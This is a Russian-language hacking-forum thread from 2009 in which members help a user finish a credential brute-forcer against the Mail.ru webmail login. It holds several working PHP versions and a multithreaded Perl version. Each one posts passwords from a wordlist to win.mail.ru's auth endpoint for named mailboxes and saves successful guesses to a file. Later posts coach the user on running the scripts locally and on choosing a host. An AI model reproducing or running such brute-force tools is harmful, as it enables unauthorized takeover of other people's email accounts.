PDA

Просмотр полной версии : Давести php до ума.


dewwil
20.02.2009, 20:10
Как доделать этот скрипт до нормального брута? Может у кого есть норм брут. Был бы очень благодарен.
<?php
$login="login";
$domain="mail.ru";
$at="@";
$xfile = @file("pass.txt");
for ($i=0;$i<count($xfile);$i++)
{
$pass = trim($xfile[$i]);
$hostname = "win.mail.ru";
$path = "/cgi-bin/auth";
$fp = fsockopen($hostname,80);
if(!$fp){
echo"А****ть!";
}
else{
$data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"; // отправляемые даные!
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Connection: close\r\n";
$headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n";
$headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n";
$headers .= "Accept-Language: en-us,en;q=0.5\r\n";
$headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
$headers .= "Referer: $hostname\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
// вставишь свои куки ток аони не нужны...гг
//$headers .= "Cookie:\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fputs($fp,$headers.$data);

while(!feof($fp))
{
$file_saper=fread($fp,1000);
if (eregi("Location",$file_saper))
{
$fp=fopen("good.txt","a");
fputs($fp,"$login$at$domain;$pass\n");
fclose($fp);


echo"Нашелся пароль уже... все ..мож дальше не искать!";
exit;
}
}
}
}
fclose($fp);


?>

fatalo
20.02.2009, 20:18
dewwil,а чем тебя этот вариант не устраивает?
Раcкомментируй код до конца
Мои рекомендации:
Добавить сет_тайм_лимит(не у всех он установлен на "бесконечность")

fatalo
20.02.2009, 20:25
А код рабочий,только что проверил на своем ящике

dewwil
20.02.2009, 20:27
А как впихать туда многопоточность и соксы?

Zedi
20.02.2009, 20:34
Многопоточность никак, в PHP нет многопоточности, а соксы в полезных скриптах выкладывали класс для работы с ними

fatalo
20.02.2009, 20:35
Zedi,сейчас набежит много много народу и начнет спорит насчет многопоточности на пыхе :))

dewwil
20.02.2009, 20:39
а как зделать сет_тайм_лимит?

fatalo
20.02.2009, 20:52
<?php
set_time_limit(0);
$login="antichat";
$domain="mail.ru";

Кусочек твоего кода с изменениями.Я бы добавил еще,что бы после каждой неудачной попытки выводилось примерно следующее:
Попытка номер 1 неудачна
Попытка номер 2 неудачна
Попытка номер 3 неудачна
Попытка номер 4 неудачна
Попытка номер 5 неудачна

Это удобно,да и дописать всего 4 строчки

AdReNa1!Ne
20.02.2009, 20:54
Многопоточность - неблокирующие сокеты. но это жуткий гемор, ну нах.

dewwil
20.02.2009, 20:58
чета запускаю скрипт а мне выдает
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/sws.php on line 11

Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/sws.php on line 11

fatalo
20.02.2009, 21:00
Что-то с хостом.Пробуй на денвере
Вот этот код(немного изменный) работает на отлично:
<?php
set_time_limit(0);
$login="shock.world";
$domain="inbox.ru";
$at="@";
$xfile = @file("pass.txt");
for ($i=0;$i<count($xfile);$i++)
{
$l=$i+1;
$pass = trim($xfile[$i]);
$hostname = "win.mail.ru";
$path = "/cgi-bin/auth";
$fp = fsockopen($hostname,80);
if(!$fp){
echo"А****ть!";
}
else{
$data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"; // отправляемые даные!
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Connection: close\r\n";
$headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n";
$headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n";
$headers .= "Accept-Language: en-us,en;q=0.5\r\n";
$headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
$headers .= "Referer: $hostname\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fputs($fp,$headers.$data);

while(!feof($fp))
{
$file_saper=fread($fp,1000);
if (eregi("Location",$file_saper))
{
$fp=fopen("good.txt","a");
fputs($fp,"$login$at$domain;$pass\n");
fclose($fp);
echo"Пароль найден.Пароль: <b>$pass</b>";
exit;
}
}
echo "Попытка номер $l неудачна<br>";
flush();
}
}

fclose($fp);


?>

AdReNa1!Ne
20.02.2009, 21:00
Другой хостинг нужен.

Sharky
20.02.2009, 21:02
многопоточность и соксы можно через курл сделать

AdReNa1!Ne
20.02.2009, 21:02
Покажи мне многопоточность через курл.

fatalo
20.02.2009, 21:06
Началось :)

dewwil
20.02.2009, 21:08
Что-то с хостом.Пробуй на денвере

Кинь ссылку.

Chaak
20.02.2009, 21:16
Считайте, что в php нет многопоточности

AdReNa1!Ne
20.02.2009, 21:17
я про тоже.
интерпретатор выполняет код построчно.
Тоесть в любом случае, команды запускаются не одновременно, а одна за другой.

dewwil
20.02.2009, 21:26
Вот этот код(немного изменный) работает на отлично
пробовал на другом хосте запускать, пишет следующее:
Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 13
А****ть!
Warning: fclose(): supplied argument is not a valid stream resource in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 49

AdReNa1!Ne
20.02.2009, 21:59
тоже не работает на этом.
А ошибка вылезла из-за того, что он не смог открыть сокет -> ему нечего закрывать.

dewwil
20.02.2009, 22:07
fatalo
На каком хосте у тебя скрипт пошел?

fatalo
20.02.2009, 23:10
http://www.denwer.ru/

[dei]
21.02.2009, 01:13
тоже самое, только на перле с многопоточностью

#!/usr/bin/perl -w
use IO::Socket;
use threads;

#####
$threads = 10;
$login = "shock.world";
$domain = "inbox.ru";
#####

open(PASS, "<pass.txt");
open(GOOD, ">>good.txt");
@p = <PASS>;
$hostname = "win.mail.ru";
$path = "/cgi-bin/auth";

sub brut( $ ) {
my $c = $_[0];

for(my $i=$c;$i<scalar(@p);$i+=$threads)
{
my $pass = $p[$i];
$pass =~ s/[\r\n]+$//;

$connect = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$hostname, PeerPort=>"80") or die("Connection problems.");

$data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1"; # отправляемые даные!
$post = "POST $path HTTP/1.1\r\n".
"Host: $hostname\r\n".
"Connection: close\r\n".
"User-Agent: Opera/9.63 (Windows NT 6.0; U; en)\r\n".
"Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n".
"Accept-Language: en-us,en;q=0.5\r\n".
"Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n".
"Referer: $hostname\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n\r\n".$data;

print $connect $post;

my $page = '';
while ($answer = <$connect>) {
if($answer =~ /Location/) {
print GOOD "$login@$domain:$pass\n";
die("Pass was bruted: $pass\n");
}
$page .= $answer;

}
close $connect;

print "Attemt #".($i+1)."\n";
}
}

my @threadz;

for(0..($threads-1)) {
push @threadz, threads->create(\&brut,$_);
sleep(1);
}

for(@threadz) {
$_->join();
}

dewwil
21.02.2009, 01:24
А под каким расширением сохранять этот скрипт? Может кто знает нормальный хост с поддержкой perl, желательно бесплатный.

Sharky
21.02.2009, 01:53
А под каким расширением сохранять этот скрипт? Может кто знает нормальный хост с поддержкой perl, желательно бесплатный.

сохраняй .pl ... Проще скачай ActivePerl и запусти на локахосте

dewwil
21.02.2009, 17:53
сохраняй .pl ... Проще скачай ActivePerl и запусти на локахосте
Скачал прогу. Сохранил твой скрипт с расширением pl а как запустить его на локалхосте? Пробовал на компе открыть файл но окно появилось и исчезло.

TheSoul
21.02.2009, 18:03
создай 1.bat внутри его cmd.exe потом пишешь perl название.pl

Sharky
21.02.2009, 18:03
Скачал прогу. Сохранил твой скрипт с расширением pl а как запустить его на локалхосте? Пробовал на компе открыть файл но окно появилось и исчезло.
в скрипте исправь мыло которое брутить собираешься..и в папку с ним сунь файл pass.txt с паролями

dewwil
21.02.2009, 19:26
Моет кто знает че за х... Закинул в папку скрипт от fatalo, pass.txt и good.txt, а при запуске этого скрипта пишет следующее:

Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/devil/sniff.php on line 13

Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/devil/sniff.php on line 13
А****ть!



Загружал на разные хосты. Может кто нибудь знает норм хост с поддержкой perl

dewwil
21.02.2009, 19:29
Менял права пишет следующее:


Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, support@100webspace.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Apache/1.3.33 Server at xxx.100webspace.net Port 80

Sharky
21.02.2009, 20:01
запусти скрипт perl брут от [dei] на компе прям через ActivePerl

dewwil
21.02.2009, 21:56
А с помощью какого ярлыка скрипт запускать (perl, perl5.8.8 там их дахера)

Sharky
21.02.2009, 23:33
в командной строке "perl c:\адрес скрипта\название скрипта.pl" без кавычек